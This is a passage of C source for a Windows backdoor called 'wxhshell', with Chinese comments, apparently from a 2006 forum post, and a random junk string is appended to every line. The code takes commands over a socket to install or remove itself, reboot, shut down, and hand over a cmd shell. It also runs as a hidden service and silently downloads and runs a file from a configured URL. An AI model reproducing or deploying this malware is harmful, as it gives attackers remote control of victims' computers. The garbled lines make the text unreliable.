  case '?': { Ovh[qm?Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $o0o5 ^Z-  
    break; n)gzHch  
  } ) m[0,  
  // 安装 $)mK]57  
  case 'i': { ckS.j)@.c  
    if(Install()) -m3 O\X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wUv Zc  
    else ;~3CuN8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,!Gw40t  
    break; eNR>W>;'  
    } `;L>[\Xi  
  // 卸载 JdF;*`_7*  
  case 'r': { ycTX\.KV  
    if(Uninstall()) > X<pzD3u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rLtB^?A z  
    else wknX\,`Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S{&,I2aO  
    break; l~.ae,|7  
    } $C#G8Ck,  
  // 显示 wxhshell 所在路径 vvwNJyU-  
  case 'p': { ( $A0b  
    char svExeFile[MAX_PATH]; }KcvNK (  
    strcpy(svExeFile,"\n\r");  \9N1:  
      strcat(svExeFile,ExeFile); yHsmX2s  
        send(wsh,svExeFile,strlen(svExeFile),0); ,3=|a|p  
    break; },lHa!<^  
    } UiO%y  
  // 重启 D6fry\  
  case 'b': { YBehyx2eK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E<y0;l?H<  
    if(Boot(REBOOT)) u_shC"X:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B&3oo   
    else { Iy% fg',%  
    closesocket(wsh); L )p*D(  
    ExitThread(0); kZ~0fw-  
    } <b !nI N  
    break; >)\x\e  
    } t"4RGO)jh  
  // 关机 yhxen  
  case 'd': { %5Q5xw]w3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p=sL KnLmZ  
    if(Boot(SHUTDOWN)) GgwO>[T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sc#B -4m  
    else { kK\G+{z?  
    closesocket(wsh); N8S !&*m  
    ExitThread(0); g<(3wL,"  
    } LhO%^`vu  
    break; z><u YO$  
    } M$iDaEu-  
  // 获取shell Z\c^CN  
  case 's': { _$g6Mj]1z  
    CmdShell(wsh); iZm# "}VG  
    closesocket(wsh); |, #DB  
    ExitThread(0); )lh48Ag0t;  
    break; iYJ:P  
  } <?yf<G'$  
  // 退出 dp;;20z  
  case 'x': { }81eef4$S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wiHGTaR  
    CloseIt(wsh); >v--R8I*  
    break; $v5)d J  
    } #y;TSHx/  
  // 离开 DD5 S R  
  case 'q': { PW7{,1te,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); RI.6.f1dy  
    closesocket(wsh); ;J [ed>v;3  
    WSACleanup(); /q[5-96c  
    exit(1); <j\osw1R  
    break; max 5s$@  
        } TNun)0p  
  } +pMa-{  
  } Zfwhg4G~  
k+qxx5{  
  // 提示信息 F9h'.{@d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J5Pi"U$FkY  
} &ed&2t`Y  
  } bT93R8yp  
' b?' u  
  return; Em6P6D>S>,  
} vl}fC@%WRI  
}7Lo}}  
// shell模块句柄 d6RO2^  
int CmdShell(SOCKET sock) n`v;S>aT  
{ a* 2*aH7  
STARTUPINFO si;  j`H5S  
ZeroMemory(&si,sizeof(si)); e *9c33  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (p6$Vgdt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [k<"@[8)  
PROCESS_INFORMATION ProcessInfo; V/N:Of:\R  
char cmdline[]="cmd"; lSW6\jX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F"I{_yleq'  
  return 0; -O&u;kh4g  
} V%|CCrR  
CB!5>k+mC  
// 自身启动模式 "p Rr>Fa  
int StartFromService(void) /xS4>@hn  
{ t?&@bs5~g  
typedef struct Xgb ~ED]  
{ sWtT"7>x  
  DWORD ExitStatus; q!fdiv`  
  DWORD PebBaseAddress; 1VXyn\  
  DWORD AffinityMask; +,8j]<wpo  
  DWORD BasePriority; b\ P6,s'(  
  ULONG UniqueProcessId; F R57F(31  
  ULONG InheritedFromUniqueProcessId; @$:T]N3m  
}   PROCESS_BASIC_INFORMATION; cpY'::5.%  
0XgJCvMcB  
PROCNTQSIP NtQueryInformationProcess; +O]jklS4H  
J~jxmh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 322)r$!"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N"',  
nO;*Peob  
  HANDLE             hProcess; O\~/J/u <  
  PROCESS_BASIC_INFORMATION pbi; ^k#.;Q#4  
lhk=yVG3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E\$7tXQK6  
  if(NULL == hInst ) return 0; o x|K2A  
`S)*(s?T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OCX>LK!K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !<EQVqj6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EdC^L`::  
Jm#mC  
  if (!NtQueryInformationProcess) return 0; }Cs. Hm0P  
&7 0o4~Fr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~ k(4eRq  
  if(!hProcess) return 0; 3AQu\4+A  
Q|$?d4La8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t%k1=Ow5i  
.,vF% pQ  
  CloseHandle(hProcess); M94zlW<  
3QZ~t#,7ij  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #&$a7L}  
if(hProcess==NULL) return 0; B8G9V6KS-  
e6 &-f  
HMODULE hMod;  sJ3O ]  
char procName[255]; xPcH]Gs^b  
unsigned long cbNeeded; J$+K't5BZ  
03)R_A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hRc.^"q9  
Y-ZTv(<  
  CloseHandle(hProcess); Bu{1^g:  
(>)f#t[9J  
if(strstr(procName,"services")) return 1; // 以服务启动 7^hwRZJ{  
Y%GIKtP  
  return 0; // 注册表启动 fR^aFT  
} :nLhg$wMs  
Yw!(]8PYdU  
// 主模块 >}I BPC  
int StartWxhshell(LPSTR lpCmdLine) Ho^rYz  
{ Fv!KLw@  
  SOCKET wsl; USDqh437  
BOOL val=TRUE; mh$Nwr/W:  
  int port=0;  f3E%0cg  
  struct sockaddr_in door; >Nho`m(  
VV%Q "0 \  
  if(wscfg.ws_autoins) Install(); 8am/5o  
=rL^^MZp  
port=atoi(lpCmdLine); { K,KIj"  
P;8D|u^\*  
if(port<=0) port=wscfg.ws_port; Shag4-*@hi  
BKJwM'~  
  WSADATA data; ^_0l(ke  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Cju%CE3a  
Jx-dWfe  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ", Ge:\TR=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uG:xd0X+W  
  door.sin_family = AF_INET; 4Y x\U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i0jR~vF {B  
  door.sin_port = htons(port); $%GW~|S\C  
G&DL)ePu]m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wF\5 X  
closesocket(wsl); QE\t}>  
return 1; } N$soaUs  
} y]YUuJ9a  
tUrwg  
  if(listen(wsl,2) == INVALID_SOCKET) { [@4.<4Y  
closesocket(wsl); Dpf"H  
return 1; lDU@Q(V#}<  
} .$s>b#mO  
  Wxhshell(wsl); Osj/={7g  
  WSACleanup(); ^?Y x{r~9  
FVo_=O)  
return 0; (Z)F6sZ`8  
EWZ?q$  
} \|wUxijJ*,  
<<iwJ U%:  
// 以NT服务方式启动 &}+^*X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) caC-JcDXy  
{ F-&=N {+  
DWORD   status = 0; muZ6}&4  
  DWORD   specificError = 0xfffffff; !J/fJW>m6  
5;4bZ3e,0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (imaL,M-D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R{0nk   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4],*y`& g  
  serviceStatus.dwWin32ExitCode     = 0; 6$*\%  
  serviceStatus.dwServiceSpecificExitCode = 0; = VFPZ  
  serviceStatus.dwCheckPoint       = 0; O&vE 5%x  
  serviceStatus.dwWaitHint       = 0; gd=gc<zYP  
a}#8n^2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D>>?8a  
  if (hServiceStatusHandle==0) return; rd\:.  
ji] H|  
status = GetLastError(); ))xyaYIZkk  
  if (status!=NO_ERROR) NW AT"  
{ L^b /+R#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6!Z>^'6  
    serviceStatus.dwCheckPoint       = 0; #J_+ SL[  
    serviceStatus.dwWaitHint       = 0; L2$`S'UW  
    serviceStatus.dwWin32ExitCode     = status; BnwYyh  
    serviceStatus.dwServiceSpecificExitCode = specificError; Jp#Onl+d6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @ 5tW*:s  
    return; s/cclFji]  
  } =IC cN|  
ynQ+yW74Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 83[gV@LW0m  
  serviceStatus.dwCheckPoint       = 0; :@=;WB*0  
  serviceStatus.dwWaitHint       = 0; ijuIf9!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >anq1Kf  
} u.~`/O  
O S%  
// 处理NT服务事件,比如:启动、停止 {!]7=K)W9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -l2aAK1M  
{ J 6%CF2  
switch(fdwControl) Dmq_jt  
{ "$6 .L^9W  
case SERVICE_CONTROL_STOP: WNo",Vc  
  serviceStatus.dwWin32ExitCode = 0; L?:fyNA3[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `rQDX<?  
  serviceStatus.dwCheckPoint   = 0; D$&LCW#x  
  serviceStatus.dwWaitHint     = 0; /jB 0  
  { >r8$vQGj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -]$=.0 l  
  } S9@2-Oc  
  return; 6vL+qOdx  
case SERVICE_CONTROL_PAUSE: CG397Y^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]\ DIJ>JZ  
  break; M>m+VsJV  
case SERVICE_CONTROL_CONTINUE: NBaXfWh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7sglqf>  
  break; Ao}J   
case SERVICE_CONTROL_INTERROGATE: X`' @ G  
  break; C(jUM!m  
}; +@5@`"Jry  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T:?01?m  
} FM=- ^l,  
}(-2a*Z;Y  
// 标准应用程序主函数 |(Q !$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .CY;-  
{ Hi5}s  
pGHn   
// 获取操作系统版本 L32[IL|  
OsIsNt=GetOsVer(); 6f^q >YP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [:Y`^iR.  
|on$ )vm  
  // 从命令行安装 9&VfbrBM  
  if(strpbrk(lpCmdLine,"iI")) Install(); Du7DMo=l  
o+F]80CH  
  // 下载执行文件 )&$p?kF  
if(wscfg.ws_downexe) { 1.6Y=Mh=i[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z pV+W-j]  
  WinExec(wscfg.ws_filenam,SW_HIDE); JA(M'&q4  
} KvtX>3#qM  
PD$@.pib  
if(!OsIsNt) { YgfQ{3^I  
// 如果时win9x,隐藏进程并且设置为注册表启动 iLR^V!  
HideProc(); PEIf)**0N  
StartWxhshell(lpCmdLine); ,lUr[xzV  
} Z?AX  
else hOH DXc"  
  if(StartFromService()) v[t *CpGd  
  // 以服务方式启动 Q/u1$&1  
  StartServiceCtrlDispatcher(DispatchTable); Bq 9 Eu1  
else 8*\PWl  
  // 普通方式启动 E6njm du  
  StartWxhshell(lpCmdLine); $Il:Yw_  
ek9Y9eJ"  
return 0; rV6SN.  
}
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只看该作者 1 发表于: 2006-10-10
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